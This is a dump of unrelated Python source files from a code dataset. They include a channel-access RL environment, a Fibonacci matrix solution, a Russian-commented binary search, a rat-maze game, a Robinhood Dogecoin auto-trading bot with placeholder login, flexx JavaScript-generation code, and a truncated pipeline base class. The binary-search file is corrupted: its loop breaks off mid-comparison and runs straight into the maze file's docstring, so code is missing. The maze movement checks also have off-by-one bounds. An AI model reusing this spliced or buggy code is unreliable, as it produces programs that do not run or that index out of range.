Name:\t\t\tparsePipeInput\n\t# Description:\tParser class method which takes in a value and immediately returns it; provides for\n\t# \t\t\t\tfurther parsing if necessary in the future by way of keeping other parsing methods\n\t# \t\t\t\tintact\n\t# Parameters:\tTakes in a value which is forwarded\n\t# Return:\t\tReturns the value passed into the method\n\tdef parsePipeInput(self, inputValue):\n\n\t\treturn inputValue\t\n\n","sub_path":"SkyWarden Aerial Drone Notification System/Ground Base Unit and GUI Subsystems/Ground Unit Source Code/Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"345298531","text":"import numpy as np\nimport random\nimport sys\nimport os\n\n\n# TIME_SLOTS = 1\nNUM_CHANNELS = 2\nNUM_USERS = 3\nNUM_SIZE = 3\nATTEMPT_PROB = 0.6\nCHANNEL_CAPACITY = 7\n# GAMMA = 0.90\n\nclass env_network:\n def __init__(self,num_users,num_channels, num_size,attempt_prob, table, channel_capacity):\n self.ATTEMPT_PROB = attempt_prob\n self.NUM_USERS = num_users\n self.NUM_CHANNELS = num_channels\n self.NUM_SIZE = num_size\n self.CHANNEL_CAPACITY = channel_capacity\n self.table = table\n self.REWARD = -1\n\n # self.action_space = np.arange((self.NUM_CHANNELS+1)*self.NUM_SIZE)\n self.action_space = np.arange((NUM_CHANNELS+1) * NUM_SIZE**NUM_SIZE)\n self.channel_space = np.arange(self.NUM_CHANNELS+1)\n self.size_space = np.arange(self.NUM_SIZE) + 1\n self.users_action = np.zeros([self.NUM_USERS],np.int32)\n self.users_observation = np.zeros([self.NUM_USERS],np.int32)\n\n def reset(self):\n pass\n\n def sample(self):\n #生成action,维度为(num_users,)\n mode = []\n index_list = []\n check_index = []\n\n x = list(np.random.choice(self.channel_space,size=self.NUM_USERS))\n Y = np.random.choice(self.size_space,size=3)#每次来的包的个数是固定的,但是大小是可变的\n y = [list(np.random.choice(Y, size =3)) for i in range(self.NUM_USERS)]\n\n for i in range(1, self.NUM_SIZE + 1):\n for j in range(1, self.NUM_SIZE + 1):\n for k in range(1, self.NUM_SIZE + 1):\n check_index.append([i,j,k])\n\n for i in range(len(y)):\n index_list.append(check_index.index(y[i]))\n\n res = list(zip(x, index_list))\n index = np.array(res)\n # array([[0, 1],\n # [0, 2],\n # [2, 0]])\n for i in range(len(index)):\n mode.append(self.table[index[i][0]][index[i][1]])\n mode1 = np.array(mode)\n return mode1 #array([1,2,6]) shape=(3,)\n\n\n # def step(self, action):#形参action是通过sample()得到的,是模式的集合\n # # print\n # assert (action.size) == self.NUM_USERS\n # channel_alloc_frequency = np.zeros([self.NUM_CHANNELS + 1], np.int32) # 0 for no chnnel access\n # # size_alloc_frequency = np.zeros([self.NUM_SIZE], np.int32)\n # obs = []\n # reward = np.zeros([self.NUM_USERS])\n # j = 0\n # for each in action:\n # prob = random.uniform(0, 1)\n #\n # x, y = np.where( self.table == each)\n # index = np.array(list(zip(x,y)))\n #\n # if prob <= self.ATTEMPT_PROB:\n # self.users_action[j] = each # action\n # channel_alloc_frequency[index[0][0]] += 1\n # # size_alloc_frequency[index[0][1]] += 1\n #\n # j += 1\n #\n # for i in range(1, len(channel_alloc_frequency)):\n # if channel_alloc_frequency[i] > 1:\n # channel_alloc_frequency[i] = 0\n #\n # for i in range(len(action)):\n # x, y = np.where(self.table == self.users_action[i])\n # index = np.array(list(zip(x, y)))\n #\n # self.users_observation[i] = channel_alloc_frequency[index[0][0]]\n # if self.users_action[i] == 0: # accessing no channel\n # self.users_observation[i] = 0\n # if self.users_action[i] == 1: # accessing no channel\n # self.users_observation[i] = 0\n # if self.users_action[i] == 2: # accessing no channel\n # self.users_observation[i] = 0\n #\n # if self.users_observation[i] == 1:\n # reward[i] = 1 + np.exp(-1 * index[0][1])\n # if self.users_observation[i] == 0:\n # reward[i] = 0\n # obs.append((self.users_observation[i], reward[i]))\n #\n # residual_channel_capacity = channel_alloc_frequency[1:]\n # residual_channel_capacity = 1 - residual_channel_capacity\n # obs.append(residual_channel_capacity)\n # return obs\n def step(self, action):#形参action是通过sample()得到的,是模式的集合\n # print\n assert (action.size) == self.NUM_USERS\n channel_alloc_frequency = np.zeros([self.NUM_CHANNELS + 1], np.int32) # 0 for no chnnel access\n # size_alloc_frequency = np.zeros([self.NUM_SIZE], np.int32)\n obs = []\n reward = np.zeros([self.NUM_USERS])\n j = 0\n\n check_index = []\n for x in range(1, self.NUM_SIZE + 1):\n for y in range(1, self.NUM_SIZE + 1):\n for z in range(1, self.NUM_SIZE + 1):\n check_index.append([x, y, z])\n\n for each in action:\n prob = random.uniform(0, 1)\n\n x, y = np.where( self.table == each)\n index = np.array(list(zip(x,y)))\n\n if prob <= self.ATTEMPT_PROB:\n self.users_action[j] = each # action\n channel_alloc_frequency[index[0][0]] += 1\n # size_alloc_frequency[index[0][1]] += 1\n j += 1\n\n for i in range(1, len(channel_alloc_frequency)):\n if channel_alloc_frequency[i] > 1:\n channel_alloc_frequency[i] = 0\n\n for i in range(len(action)):\n x, y = np.where(self.table == self.users_action[i])\n index = np.array(list(zip(x, y)))#array([[×, ×]]\n\n self.users_observation[i] = channel_alloc_frequency[index[0][0]]\n if self.users_action[i] >=0 and self.users_action[i] < self.NUM_SIZE**self.NUM_SIZE : # accessing no channel,table的第一行\n self.users_observation[i] = 0\n\n if self.users_observation[i] == 1:\n if sum(check_index[index[0][1]]) <= self.CHANNEL_CAPACITY:\n reward[i] = 1\n else:\n reward[i] = 1 + np.power(np.e, (-1 * sum(np.random.choice(check_index[index[0][1]], size = 2))))\n else:\n reward[i] = 0\n obs.append((self.users_observation[i], reward[i]))\n\n # residual_channel_capacity = channel_alloc_frequency[1:]\n # residual_channel_capacity = 1 - residual_channel_capacity\n # obs.append(residual_channel_capacity)\n obs.append(channel_alloc_frequency)\n return obs\n\n\n\n\n\n","sub_path":"multi_user_network_env.py","file_name":"multi_user_network_env.py","file_ext":"py","file_size_in_byte":6334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"341712495","text":"class Solution:\n \"\"\"\n @param n: an integer\n @return: return a string\n \"\"\"\n\n def lastFourDigitsOfFn(self, n):\n # write your code here\n class Matrix:\n def __init__(self, a, b, c, d):\n self.a = a\n self.b = b\n self.c = c\n self.d = d\n\n def matrix_mul(A, B):\n C = Matrix(0, 0, 0, 0)\n C.a = (A.a * B.a + A.b * B.c) % 10000\n C.b = (A.a * B.b + A.b * B.d) % 10000\n C.c = (A.c * B.a + A.d * B.c) % 10000\n C.d = (A.c * B.b + A.d * B.d) % 10000\n return C\n\n def matrix_pow(n):\n m = Matrix(0, 0, 0, 0)\n if n == 1:\n m = Matrix(1, 1, 1, 0)\n elif (n & 1) == 0:\n m = matrix_pow(n >> 1)\n m = matrix_mul(m, m)\n elif (n & 1) == 1:\n m = matrix_pow((n - 1) >> 1)\n m = matrix_mul(m, m)\n m = matrix_mul(m, Matrix(1, 1, 1, 0))\n return m\n\n if n == 0: return '0'\n if n == 1: return '1'\n matrix = matrix_pow(n)\n res = str(matrix.b) # matrix.b is Fn\n return res.lstrip('0')\n","sub_path":"lintcode/949-fibonacci-ii.py","file_name":"949-fibonacci-ii.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"401803517","text":"# \"\"\"бинарный поиск хариянов в массиве\"\"\"\n# ВНИМАНИЯ чтобы можно было искать бинарные обьекты(цифры ) обязаьельно массив должен быть отсортерован\n# например мы ищем в массиве цифру которого нет и как можно найти эта цифра может стоять между цифрами вот тогда та что справа больше left_boundary та что слева то что меньше\n#искать правуб и левую границу цифры которого нет\n#каждому и сортировке и нахождению границ будет отдельная функция\n\"\"\"рекурентная функция\"\"\"\ndef left_bound(a,key):#переменная далась и а это массив а key это цифра которую ищем в этом массиве\n left=-1#это из за того что у нас правая половина меньше надо начинать с -1\n rigth=len(a) #а правая больше из-за этого и правая важная и до конца до лен будет идти\n while rigth-left>1:#если они все больше 1 то херачат цикл\n middle=(left+rigth)//2#тут находят серидину\n if a[middle] NoneType\n \t\"\"\"\n self.symbol = symbol\n self.row = row\n self.col = col\n self.num_sprouts_eaten = num_sprouts_eaten\n\n def set_location(self,row,col):\n \"\"\"\n \t (Rat, int, int) -> NoneType\n \t\"\"\"\n self.row = row\n self.col = col\n\n def eat_sprout(self):\n \"\"\"\n \t (Rat) -> NoneType\n \t\"\"\"\n self.num_sprouts_eaten += 1\n\n def __str__(self):\n \"\"\"\n \t (Rat) -> str\n \t symbol at (row, col) ate num_sprouts_eaten sprouts.\n \t\"\"\"\n return \"{0} at ({1}, {2}) ate {3} sprouts.\".format(self.symbol,self.row,self.col,self.num_sprouts_eaten)\n\n # Write your Rat methods here.\n\nclass Maze:\n \"\"\" A 2D maze. \"\"\"\n def __init__(self,maze,rat_1,rat_2,num_sprouts_left = 3):\n \"\"\"\n \t (Maze, list of list of str, Rat, Rat) -> NoneType\n \t\"\"\"\n self.maze = maze\n self.rat_1 = rat_1\n self.rat_2 = rat_2\n self.num_sprouts_left = num_sprouts_left\n\n def is_wall(self,row,col):\n return self.maze[row][col] == WALL\n\n def get_character(self,row,col):\n if row == self.rat_1.row and col == self.rat_1.col:\n return self.rat_1.symbol\n elif row == self.rat_2.row and col == self.rat_2.col:\n return self.rat_2.symbol\n else:\n return self.maze[row][col]\n\n def move(self,rat,vertical_direction,horizontal_direction):\n row = rat.row\n col = rat.col\n height = len(self.maze)\n width = len(self.maze[0])\n if vertical_direction == UP and row + UP >= 0:\n char = self.maze[row + UP][col]\n if char == SPROUT:\n rat.eat_sprout()\n rat.set_location(row + UP,col)\n self.maze[row + UP][col] = HALL\n self.num_sprouts_left -= 1\n return True\n elif char == HALL:\n rat.set_location(row + UP,col)\n return True\n elif char == WALL:\n return False\n elif vertical_direction == DOWN and row + DOWN <= height:\n char = self.maze[row + DOWN][col]\n if char == SPROUT:\n rat.eat_sprout()\n rat.set_location(row + DOWN,col)\n self.maze[row + DOWN][col] = HALL\n self.num_sprouts_left -= 1\n return True\n elif char == HALL:\n rat.set_location(row + DOWN,col)\n return True\n elif char == WALL:\n return False\n elif horizontal_direction == LEFT and col + LEFT >= 0:\n char = self.maze[row][col + LEFT]\n if char == SPROUT:\n rat.eat_sprout()\n rat.set_location(row,col + LEFT)\n self.maze[row][col + LEFT] = HALL\n self.num_sprouts_left -= 1\n return True\n elif char == HALL:\n rat.set_location(row,col + LEFT)\n return True\n elif char == WALL:\n return False\n elif horizontal_direction == RIGHT and col + RIGHT <= width:\n char = self.maze[row][col + RIGHT]\n if char == SPROUT:\n rat.eat_sprout()\n rat.set_location(row,col + RIGHT)\n self.maze[row][col + RIGHT] = HALL\n self.num_sprouts_left -= 1\n return True\n elif char == HALL:\n rat.set_location(row,col + RIGHT)\n return True\n elif char == WALL:\n return False\n\n def __str__(self):\n temp = \"\"\n for row in range(len(self.maze)):\n for col in range(len(self.maze[row])):\n if self.rat_1.row == row and self.rat_1.col == col:\n temp += self.rat_1.symbol\n elif self.rat_2.row == row and self.rat_2.col == col:\n temp += self.rat_2.symbol\n else:\n temp += self.maze[row][col]\n temp += \"\\n\"\n temp += str(self.rat_1)+\"\\n\"\n temp += str(self.rat_2)\n return temp\n\n # Write your Maze methods here.","sub_path":"rat_race_copy/a2.py","file_name":"a2.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"406033766","text":"from threading import Thread\r\nimport multiprocessing\r\nimport time\r\nimport robin_stocks\r\nimport math\r\nimport pdb\r\nfrom urllib3.exceptions import ProtocolError\r\n\r\nfile = open('data.txt', mode='r')\r\ndata = []\r\nfor line in file:\r\n if line.strip('\\n') == 'True':\r\n data.append(True)\r\n if line.strip('\\n') == 'False':\r\n data.append(False)\r\n if line.strip('\\n') == '-1':\r\n data.append(None)\r\n else:\r\n data.append(line.strip('\\n'))\r\n\r\nsell_price = data[0]\r\nbuy_price = data[1]\r\nhave_doge = data[2]\r\nquantity = data[3]\r\nfile.close()\r\n\r\nrobin_stocks.authentication.login('username', 'password')\r\n\r\n\r\ndef setup():\r\n global quantity, buy_price\r\n quantity = float(robin_stocks.crypto.get_crypto_positions('quantity_available')[0])\r\n print(\"Quantity available: \" + str(quantity))\r\n if quantity > 0.0:\r\n buy_price = float(robin_stocks.orders.get_all_crypto_orders()[0]['price'])\r\n sell_mode()\r\n else:\r\n buy_mode()\r\n\r\n\r\ndef buy_mode():\r\n global buy_price, have_doge, sell_price, quantity\r\n old_created = (robin_stocks.orders.get_all_crypto_orders()[0]['created_at'])\r\n print('BUYING MODE')\r\n cash = (0.85 * (float(robin_stocks.profiles.load_account_profile('portfolio_cash')))).__round__(2)\r\n doge_price = stat_tracker.price\r\n amount = float(cash / doge_price).__round__()\r\n flag = False\r\n while True:\r\n if stat_tracker.direction == -1:\r\n flag = False\r\n continue\r\n elif not flag:\r\n flag = True\r\n time.sleep(1.5)\r\n elif flag:\r\n break\r\n\r\n print(robin_stocks.orders.order_buy_crypto_by_quantity('DOGE', amount, 'mark_price'))\r\n print('order placed')\r\n time.sleep(0.5)\r\n print('checking for transaction')\r\n flag = False\r\n while True:\r\n trades = robin_stocks.orders.get_all_crypto_orders()[0]\r\n if trades['created_at'] != old_created:\r\n if not flag:\r\n flag = True\r\n print('found transaction. will alert when purchase confirmed.')\r\n\r\n if trades['state'] == 'filled':\r\n average = trades['average_price']\r\n buy_price = float(average)\r\n print(\"Purchased \" + str(cash * 0.9) + \" worth of Doge coin at \" + str(average)\r\n + \" per coin\")\r\n have_doge = True\r\n save_data(sell_price, buy_price, have_doge, quantity)\r\n sell_mode()\r\n\r\n doge_price = float(robin_stocks.crypto.get_crypto_quote(\"DOGE\")['mark_price'])\r\n\r\n if (doge_price - float(trades['price'])) >= 0.00002 or \\\r\n (doge_price - float(trades['price'])) <= -0.00002:\r\n robin_stocks.cancel_all_crypto_orders()\r\n print(\"Price change. Order has been canceled. Trying again\")\r\n buy_mode()\r\n\r\n\r\ndef sell_mode():\r\n global buy_price, have_doge, sell_price, quantity\r\n\r\n old_created = (robin_stocks.orders.get_all_crypto_orders()[0]['created_at'])\r\n quantity = robin_stocks.crypto.get_crypto_positions('quantity_available')[0]\r\n doge_price = stat_tracker.price\r\n while True:\r\n if stat_tracker.price > float(buy_price):\r\n if (stat_tracker.price - buy_price) >= 0.000005:\r\n set_speed = stat_tracker.true_speed\r\n while True:\r\n if stat_tracker.true_speed > set_speed:\r\n set_speed = stat_tracker.true_speed\r\n if stat_tracker.true_speed + stat_tracker.true_speed <= set_speed:\r\n break\r\n else:\r\n print('Price still rising, waiting to sell. True speed = ' + str(stat_tracker.true_speed))\r\n continue\r\n\r\n print(robin_stocks.orders.order_sell_crypto_by_quantity(\"DOGE\", quantity, 'mark_price'))\r\n print('sell order placed')\r\n time.sleep(0.4)\r\n print('checking for transaction')\r\n flag = False\r\n\r\n while True:\r\n trades = robin_stocks.orders.get_all_crypto_orders()[0]\r\n if trades['created_at'] != old_created:\r\n if not flag:\r\n flag = True\r\n print('found transaction. will alert when purchase confirmed.')\r\n\r\n if trades['state'] == 'filled':\r\n sell_price = trades['average_price']\r\n quantity = trades['quantity']\r\n print(str(quantity) + \" DOGE coins sold at market price \" + str(doge_price))\r\n save_data(sell_price, buy_price, have_doge, quantity)\r\n buy_mode()\r\n\r\n doge_price = float(robin_stocks.crypto.get_crypto_quote(\"DOGE\")['mark_price'])\r\n\r\n if (stat_tracker.price - float(trades['price'])) <= -0.00002:\r\n robin_stocks.cancel_all_crypto_orders()\r\n print(\"Price raised. Order has been canceled. Trying again\")\r\n sell_mode()\r\n else:\r\n print(\"SELL MODE | Doge price: \" + str(doge_price) + '\\t| SO CLOSE |\\t' + 'Bought Doge: ' + str(\r\n buy_price)\r\n + \" | Price difference: \" + str((doge_price - buy_price).__round__(9)))\r\n time.sleep(0.4)\r\n\r\n else:\r\n print('\\tSELL MODE | Price = ' + str(stat_tracker.price) + '\\t\\t Buy Price = ' + str(\r\n buy_price) + '\\t\\t Speed = ' +\r\n str(stat_tracker.speed) + '\\t\\t True Speed = ' + str(stat_tracker.true_speed) + '\\t\\t Direction = ' + str(stat_tracker.direction))\r\n time.sleep(0.4)\r\n\r\n\r\ndef save_data(sell, buy, have, quan):\r\n file1 = open('data.txt', 'w+')\r\n if sell is None:\r\n sell = -1\r\n if buy is None:\r\n buy = -1\r\n if quan is None:\r\n quan = -1\r\n file1.write(str(sell) + '\\n' + str(buy) + '\\n' + str(have) + '\\n' + str(quan))\r\n file1.close()\r\n\r\n\r\nclass StatTracker(object):\r\n\r\n def __init__(self):\r\n\r\n self.direction = 0\r\n self.speed = 0\r\n self.true_speed = 0\r\n self.last_30 = []\r\n self.price = 0\r\n self.sum = 0\r\n\r\n thread = Thread(target=self.run, args=())\r\n thread.daemon = True\r\n thread.start()\r\n\r\n def run(self):\r\n while True:\r\n price = float(robin_stocks.crypto.get_crypto_quote(\"DOGE\")['mark_price'])\r\n self.last_30.insert(0, price)\r\n try:\r\n if self.last_30[60] is not None:\r\n self.last_30.__delitem__(60)\r\n except IndexError:\r\n pass\r\n\r\n if len(self.last_30) > 1:\r\n if self.last_30[1] - self.last_30[0] < 0:\r\n self.direction = 1\r\n elif self.last_30[1] - self.last_30[0] > 0:\r\n self.direction = -1\r\n else:\r\n self.direction = 0\r\n for x in range(len(self.last_30) - 1):\r\n self.sum += (self.last_30[x + 1] - self.last_30[x])\r\n self.sum *= 100000\r\n self.speed = (self.sum / (len(self.last_30) - 1)).__round__(6)\r\n self.speed *= -1\r\n self.sum = 0\r\n if len(self.last_30) > 5:\r\n self.true_speed = (((self.last_30[0] - self.last_30[1])\r\n + (self.last_30[1] - self.last_30[2])\r\n + (self.last_30[2] - self.last_30[3])\r\n + (self.last_30[3] - self.last_30[4])\r\n + (self.last_30[4] - self.last_30[5])) / 5)\r\n self.price = self.last_30[0]\r\n time.sleep(0.3)\r\n\r\n\r\nstat_tracker = StatTracker\r\nwhile True:\r\n while True:\r\n try:\r\n stat_tracker = StatTracker()\r\n setup()\r\n except ConnectionError:\r\n print(\"Connection Error.\")\r\n continue\r\n except ProtocolError:\r\n print(\"Protocol Error\")\r\n continue\r\n except OSError:\r\n print(\"OS Error\")\r\n continue\r\n except RecursionError:\r\n print(\"Recursion Error\")\r\n continue\r\n\r\n","sub_path":"RobinHood1.py","file_name":"RobinHood1.py","file_ext":"py","file_size_in_byte":8403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"60477999","text":"\"\"\"\nImplementation of flexx.event in JS via PyScript.\n\"\"\"\n\nimport json\n\nfrom flexx.pyscript import py2js as py2js_\nfrom flexx.pyscript.parser2 import get_class_definition\n\nfrom flexx.event._emitters import BaseEmitter, Property\nfrom flexx.event._handler import HandlerDescriptor, Handler\nfrom flexx.event._hasevents import HasEvents\n\n\nObject = Date = undefined = None # fool pyflake\n\nreprs = json.dumps\n\n\ndef py2js(*args, **kwargs):\n kwargs['inline_stdlib'] = False\n kwargs['docstrings'] = False\n return py2js_(*args, **kwargs)\n\n\nclass HasEventsJS:\n \"\"\" An implementation of the HasEvents class in PyScript. It has\n some boilerplate code to create handlers and emitters, but otherwise\n shares most of the code with the Python classes by transpiling their\n methods via PyScript. This ensures that the Python and JS\n implementation of this event system have the same API and behavior.\n \n The Python version of this class has a ``JSCODE`` attribute that\n contains the auto-generated JavaScript for this class.\n \"\"\"\n \n _HANDLER_COUNT = 0\n _IS_HASEVENTS = True\n \n def __init__(self, init_handlers=True):\n \n # Init some internal variables\n self.__handlers = {}\n self.__props_being_set = {}\n self.__initial_pending_events = []\n \n # Create properties\n for name in self.__properties__:\n self.__handlers.setdefault(name, [])\n self['_' + name + '_value'] = None # need *something*\n for name in self.__properties__:\n func = self['_' + name + '_func']\n creator = self['__create_' + func.emitter_type]\n creator(name)\n if func.default is not undefined:\n self._set_prop(name, func.default, True)\n \n # Create emitters\n for name in self.__emitters__:\n self.__handlers.setdefault(name, [])\n func = self['_' + name + '_func']\n self.__create_Emitter(name)\n \n # Init handlers and properties now, or later?\n if init_handlers:\n self._init_handlers()\n \n def __init_handlers(self, initial_pending_events):\n # Create handlers\n # Note that methods on_xxx are converted by the HasEvents meta class\n for name in self.__handlers__:\n func = self['_' + name + '_func']\n self[name] = self.__create_Handler(func, name, func._connection_strings)\n # Emit events for properties\n for ev in initial_pending_events:\n self._emit(ev)\n \n def __connect(self, func, *connection_strings):\n # The JS version (no decorator functionality)\n \n if len(connection_strings) == 0:\n raise RuntimeError('connect() (js) needs one or more connection strings.')\n \n for s in connection_strings:\n if not (isinstance(s, str) and len(s)):\n raise ValueError('Connection string must be nonempty strings.')\n \n if not callable(func):\n raise TypeError('connect() decotator requires a callable.')\n return self.__create_Handler(func, func.name or 'anonymous', connection_strings)\n \n def __create_PyProperty(self, name):\n self.__create_Property(name)\n \n def __create_Property(self, name):\n private_name = '_' + name + '_value'\n def getter():\n return self[private_name]\n def setter(x):\n self._set_prop(name, x)\n opts = {'enumerable': True, 'configurable': True, # i.e. overloadable\n 'get': getter, 'set': setter}\n Object.defineProperty(self, name, opts)\n \n def __create_Readonly(self, name):\n private_name = '_' + name + '_value'\n def getter():\n return self[private_name]\n def setter(x):\n raise AttributeError('Readonly %s is not settable' % name)\n opts = {'enumerable': True, 'configurable': True, # i.e. overloadable\n 'get': getter, 'set': setter}\n Object.defineProperty(self, name, opts)\n \n def __create_Emitter(self, name):\n def getter():\n return self._get_emitter(name)\n def setter(x):\n raise AttributeError('Emitter %s is not settable' % name)\n opts = {'enumerable': True, 'configurable': True, # i.e. overloadable\n 'get': getter, 'set': setter}\n Object.defineProperty(self, name, opts)\n \n def __create_Handler(self, func, name, connection_strings):\n \n # Create function that becomes our \"handler object\"\n def handler(*events):\n return func.apply(self, events)\n \n # Attach methods to the function object (this gets replaced)\n HANDLER_METHODS_HOOK # noqa\n \n # Init handler\n that = self\n HasEvents.prototype._HANDLER_COUNT += 1\n handler._name = name\n handler._id = 'h' + str(HasEvents.prototype._HANDLER_COUNT)\n handler._ob = lambda : that # no weakref in JS\n handler._init(connection_strings, self)\n \n return handler\n\n\ndef get_HasEvents_js():\n \"\"\" Get the final code for the JavaScript version of the HasEvents class.\n \"\"\"\n # Start with our special JS version\n jscode = py2js(HasEventsJS, 'HasEvents')\n # Add the Handler methods\n code = '\\n'\n for name, val in sorted(Handler.__dict__.items()):\n if not name.startswith('__') and callable(val):\n code += py2js(val, 'handler.' + name, indent=1)[4:]\n code += '\\n'\n jscode = jscode.replace('HANDLER_METHODS_HOOK', code)\n # Add the methods from the Python HasEvents class\n code = '\\n'\n for name, val in sorted(HasEvents.__dict__.items()):\n if name.startswith(('__', '_HasEvents__')) or not callable(val):\n continue\n code += py2js(val, 'HasEvents.prototype.' + name)\n code += '\\n'\n jscode += code\n # Almost done\n jscode = jscode.replace('new Dict()', '{}').replace('new Dict(', '_pyfunc_dict(')\n return jscode\n\n\nHasEventsJS.JSCODE = get_HasEvents_js()\n\n\ndef create_js_hasevents_class(cls, cls_name, base_class='HasEvents.prototype'):\n \"\"\" Create the JS equivalent of a subclass of the HasEvents class.\n \n Given a Python class with handlers, properties and emitters, this\n creates the code for the JS version of this class. It also supports\n class constants that are int/float/str, or a tuple/list thereof.\n The given class does not have to be a subclass of HasEvents.\n \n This more or less does what HasEventsMeta does, but for JS.\n \"\"\"\n \n assert cls_name != 'HasEvents' # we need this special class above instead\n \n handlers = []\n emitters = []\n properties = []\n total_code = []\n funcs_code = [] # functions and emitters go below class constants\n const_code = []\n err = ('Objects on JS HasEvents classes can only be int, float, str, '\n 'or a list/tuple thereof. Not %s -> %r.')\n \n total_code.append('\\n'.join(get_class_definition(cls_name, base_class)).rstrip())\n prefix = '' if cls_name.count('.') else 'var '\n total_code[0] = prefix + total_code[0]\n \n # Functions to ignore\n special_funcs = ['_%s_func' % name for name in \n (cls.__handlers__ + cls.__emitters__ + cls.__properties__)]\n OK_MAGICS = ('__properties__', '__emitters__', '__handlers__',\n '__proxy_properties__', '__emitter_flags__')\n \n for name, val in sorted(cls.__dict__.items()):\n name = name.replace('_JS__', '_%s__' % cls_name.split('.')[-1]) # fix mangling\n funcname = '_' + name + '_func'\n if name in special_funcs:\n pass\n elif isinstance(val, BaseEmitter):\n if isinstance(val, Property):\n properties.append(name)\n else:\n emitters.append(name)\n # Add function def\n code = py2js(val._func, cls_name + '.prototype.' + funcname)\n code = code.replace('super()', base_class) # fix super\n funcs_code.append(code.rstrip())\n # Mark to not bind the func\n t = '%s.prototype.%s.nobind = true;'\n funcs_code.append(t % (cls_name, funcname))\n # Has default val?\n if isinstance(val, Property) and val._defaults:\n default_val = json.dumps(val._defaults[0])\n t = '%s.prototype.%s.default = %s;'\n funcs_code.append(t % (cls_name, funcname, default_val))\n # Add type of emitter\n t = '%s.prototype.%s.emitter_type = %s;'\n emitter_type = val.__class__.__name__\n funcs_code.append(t % (cls_name, funcname, reprs(emitter_type)))\n funcs_code.append('')\n elif isinstance(val, HandlerDescriptor):\n handlers.append(name)\n # Add function def\n code = py2js(val._func, cls_name + '.prototype.' + funcname)\n code = code.replace('super()', base_class) # fix super\n funcs_code.append(code.rstrip())\n # Mark to not bind the func\n t = '%s.prototype.%s.nobind = true;'\n funcs_code.append(t % (cls_name, funcname))\n # Add connection strings to the function object\n t = '%s.prototype.%s._connection_strings = %s;'\n funcs_code.append(t % (cls_name, funcname, reprs(val._connection_strings)))\n funcs_code.append('')\n elif callable(val):\n code = py2js(val, cls_name + '.prototype.' + name)\n code = code.replace('super()', base_class) # fix super\n funcs_code.append(code.rstrip())\n funcs_code.append('')\n elif name in OK_MAGICS:\n t = '%s.prototype.%s = %s;'\n const_code.append(t % (cls_name, name, reprs(val)))\n elif name.startswith('__'):\n pass # we create our own __emitters__, etc.\n else:\n try:\n serialized = json.dumps(val)\n except Exception as err: # pragma: no cover\n raise ValueError('Attributes on JS HasEvents class must be '\n 'JSON compatible.\\n%s' % str(err))\n #const_code.append('%s.prototype.%s = JSON.parse(%s)' %\n # (cls_name, name, reprs(serialized)))\n const_code.append('%s.prototype.%s = %s;' % (cls_name, name, serialized))\n \n if const_code:\n total_code.append('')\n total_code.extend(const_code)\n if funcs_code:\n total_code.append('')\n total_code.extend(funcs_code)\n total_code.append('')\n return '\\n'.join(total_code)\n\n\nif __name__ == '__main__':\n # Testing ...\n from flexx import event\n class Foo(HasEvents):\n @event.prop\n def foo(self, v=0):\n return v\n \n print(HasEventsJS.JSCODE)\n print(len(HasEventsJS.JSCODE))\n #print(create_js_hasevents_class(Foo, 'Foo'))\n","sub_path":"flexx/event/_js.py","file_name":"_js.py","file_ext":"py","file_size_in_byte":10933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"476527018","text":"\"\"\"\r\nBase Operator\r\n\r\nAll Operations should inherit from this class, it will help ensure a common\r\nstructure to Operation classes and provide some common functionality and\r\ninterfaces.\r\n\r\nThis Base Operator is relatively complex but serves to simplify the\r\nimplementation of functional Operators so engineers can focus on handling data,\r\nnot getting a pipeline to work.\r\n\"\"\"\r\nimport abc # abstract base class library\r\nimport inspect\r\nimport functools\r\nimport hashlib\r\nimport time\r\nimport datetime\r\nimport types\r\nimport sys\r\nimport networkx as nx # type:ignore\r\nfrom gva.logging import get_logger # type:ignore\r\nfrom ..runner import go, finalize, attach_writer, attach_writers\r\nfrom typing import Union, List\r\nfrom ...errors import RenderErrorStack\r\nfrom ...data.formats import dictset\r\nfrom ...utils.json import parse, serialize\r\n\r\n# This is the hash of the code in the version function we don't ever want this\r\n# method overidden, so we're going to make sure the hash still matches\r\nVERSION_HASH = \"54ebb39c76dd9159475b723dc2467e2a6a9c4cf794388c9f8c7ec0a777c90f17\"\r\n# This is the hash of the code in the __call__ function we don't ever want this\r\n# method overidden, so we're going to make sure the hash still matches\r\nCALL_HASH = \"3bf4f5fd5986a799cb29db45620cddeffebb1cf09a3af946e68d28370f65d194\"\r\n\r\n\r\n# inheriting ABC is part of ensuring that this class only ever\r\n# interited from\r\nclass BaseOperator(abc.ABC):\r\n\r\n def __init__(self, **kwargs):\r\n \"\"\"\r\n Operator Base Class\r\n\r\n You are expected to override the execute method with the logic of the\r\n operation, this should return None, if the pipeline should terminate\r\n at this operation (for example, if the Operator filters records),\r\n return a tuple of (data, context), or a generator/list of (data,\r\n context).\r\n\r\n The '__call__' and 'version' methods should not be overriden, steps\r\n are taken to help ensure they aren't.\r\n\r\n - retry_count: the number of times to attempt an operation before\r\n aborting, this defaults to 2 and is limited between 1 and 5\r\n - retry_wait: the number of seconds to wait between retries, this\r\n defaults to 5 and is limited between 1 and 300\r\n - rolling_failure_window: the number of previous operations to\r\n remember the success/failure, when >50% of the operations in this\r\n window are failures, the job aborts. This defaults to 10 and is\r\n limited between 1 (single failure aborts) and 100\r\n \"\"\"\r\n self.graph = None # part of drawing dags\r\n self.records_processed = 0 # number of times this operator has been run\r\n self.execution_time_ns = 0 # nano seconds of cpu execution time\r\n self.errors = 0 # number of errors\r\n self.commencement_time = None # the time processing started\r\n self.first_run = True # so some things only run once\r\n self.logger = get_logger() # get the GVA logger\r\n\r\n # read retry settings, clamp values to practical ranges\r\n self.retry_count = self._clamp(kwargs.get('retry_count', 2), 1, 5)\r\n self.retry_wait = self._clamp(kwargs.get('retry_wait', 5), 1, 300)\r\n rolling_failure_window = self._clamp(kwargs.get('rolling_failure_window', 10), 1, 100)\r\n self.last_few_results = [1] * rolling_failure_window # track the last n 